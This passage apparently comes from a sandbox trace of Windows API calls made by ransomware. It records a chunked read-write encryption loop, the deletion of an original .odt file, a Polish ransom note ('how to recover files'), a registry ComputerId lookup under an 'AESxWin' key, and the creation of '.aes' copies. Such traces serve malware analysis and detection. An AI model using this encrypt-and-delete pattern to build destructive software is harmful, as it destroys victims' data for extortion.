pdwBestIfIndex=0x77ce74c) returned 0x0 [0071.468] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.517] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.518] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.518] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.518] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.518] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.519] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.519] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.519] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.519] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.519] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.519] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.519] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.520] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.520] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.520] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.520] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.520] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.521] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.521] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.521] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.521] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.521] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.522] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.522] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.522] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.522] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.522] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.522] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.522] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.523] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.523] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.523] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.523] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.523] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0xa2f, lpOverlapped=0x0) returned 1 [0071.523] ReadFile (in: hFile=0x354, lpBuffer=0x26a7fb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26a7fb4*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0071.543] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0xb41, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce974*=0xb41, lpOverlapped=0x0) returned 1 [0071.543] WriteFile (in: hFile=0x2a8, lpBuffer=0x273a5d8*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x273a5d8*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0071.543] CloseHandle (hObject=0x2a8) returned 1 [0071.544] CloseHandle (hObject=0x354) returned 1 [0071.544] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\1BUS.odt", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\1BUS.odt", lpFilePart=0x0) returned 0x57 [0071.544] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\1BUS.odt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\nvo-4p-kzz-c6do0e\\1bus.odt")) returned 1 [0071.547] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x69 [0071.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0071.547] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\nvo-4p-kzz-c6do0e\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0071.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0071.547] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x354) returned 0x0 [0071.547] RegQueryValueExW (in: hKey=0x354, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0071.547] RegQueryValueExW (in: hKey=0x354, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x2771f20, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0071.566] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x69 [0071.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0071.566] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\nvo-4p-kzz-c6do0e\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2a8 [0071.567] GetFileType (hFile=0x2a8) returned 0x1 [0071.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0071.567] GetFileType (hFile=0x2a8) returned 0x1 [0071.567] WriteFile (in: hFile=0x2a8, lpBuffer=0x277b1bc*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x277b1bc*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0071.572] CloseHandle (hObject=0x2a8) returned 1 [0071.573] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0071.598] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\b-s_mvDIaHRjA WonYD7.csv", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\b-s_mvDIaHRjA WonYD7.csv", lpFilePart=0x0) returned 0x67 [0071.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0071.598] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\b-s_mvDIaHRjA WonYD7.csv" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\nvo-4p-kzz-c6do0e\\b-s_mvdiahrja wonyd7.csv"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x509d1c60, ftCreationTime.dwHighDateTime=0x1d2fdb4, ftLastAccessTime.dwLowDateTime=0x261bd650, ftLastAccessTime.dwHighDateTime=0x1d2fda7, ftLastWriteTime.dwLowDateTime=0x261bd650, ftLastWriteTime.dwHighDateTime=0x1d2fda7, nFileSizeHigh=0x0, nFileSizeLow=0xd8af)) returned 1 [0071.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0071.599] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\b-s_mvDIaHRjA WonYD7.csv", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\b-s_mvDIaHRjA WonYD7.csv", lpFilePart=0x0) returned 0x67 [0071.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0071.599] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\b-s_mvDIaHRjA WonYD7.csv" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\nvo-4p-kzz-c6do0e\\b-s_mvdiahrja wonyd7.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2a8 [0071.599] GetFileType (hFile=0x2a8) returned 0x1 [0071.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0071.599] GetFileType (hFile=0x2a8) returned 0x1 [0071.599] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\b-s_mvDIaHRjA WonYD7.csv.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\b-s_mvDIaHRjA WonYD7.csv.aes", lpFilePart=0x0) returned 0x6b [0071.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0071.599] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\b-s_mvDIaHRjA WonYD7.csv.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\nvo-4p-kzz-c6do0e\\b-s_mvdiahrja wonyd7.csv.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x34c [0071.599] GetFileType (hFile=0x34c) returned 0x1 [0071.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0071.599] GetFileType (hFile=0x34c) returned 0x1 [0071.600] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0071.607] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6fd6ef8 [0071.607] GetNetworkParams (in: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624) returned 0x0 [0071.615] LocalFree (hMem=0x6fd6ef8) returned 0x0 [0071.615] GetAdaptersAddresses () returned 0x6f [0071.619] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7014730 [0071.620] GetAdaptersAddresses () returned 0x0 [0071.625] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0071.632] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0071.632] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0071.639] LocalFree (hMem=0x1c8b20) returned 0x0 [0071.639] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0071.645] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0071.645] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0071.652] LocalFree (hMem=0x1c8b20) returned 0x0 [0071.652] LocalFree (hMem=0x7014730) returned 0x0 [0071.652] GetBestInterfaceEx (in: pDestAddr=0x27a1078*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0071.739] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2e48*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.740] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2e48*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.740] WriteFile (in: hFile=0x34c, lpBuffer=0x2754310*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2754310*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.740] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2e48*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.741] WriteFile (in: hFile=0x34c, lpBuffer=0x2754310*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2754310*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.741] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2e48*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.741] WriteFile (in: hFile=0x34c, lpBuffer=0x2754310*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2754310*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.741] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2e48*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.741] WriteFile (in: hFile=0x34c, lpBuffer=0x2754310*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2754310*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.741] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2e48*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.742] WriteFile (in: hFile=0x34c, lpBuffer=0x2754310*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2754310*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.742] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2e48*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.742] WriteFile (in: hFile=0x34c, lpBuffer=0x2754310*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2754310*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.742] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2e48*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.742] WriteFile (in: hFile=0x34c, lpBuffer=0x2754310*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2754310*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.742] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2e48*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.742] WriteFile (in: hFile=0x34c, lpBuffer=0x2754310*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2754310*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.742] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2e48*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0071.743] WriteFile (in: hFile=0x34c, lpBuffer=0x2754310*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2754310*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0071.743] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b2e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2e48*, 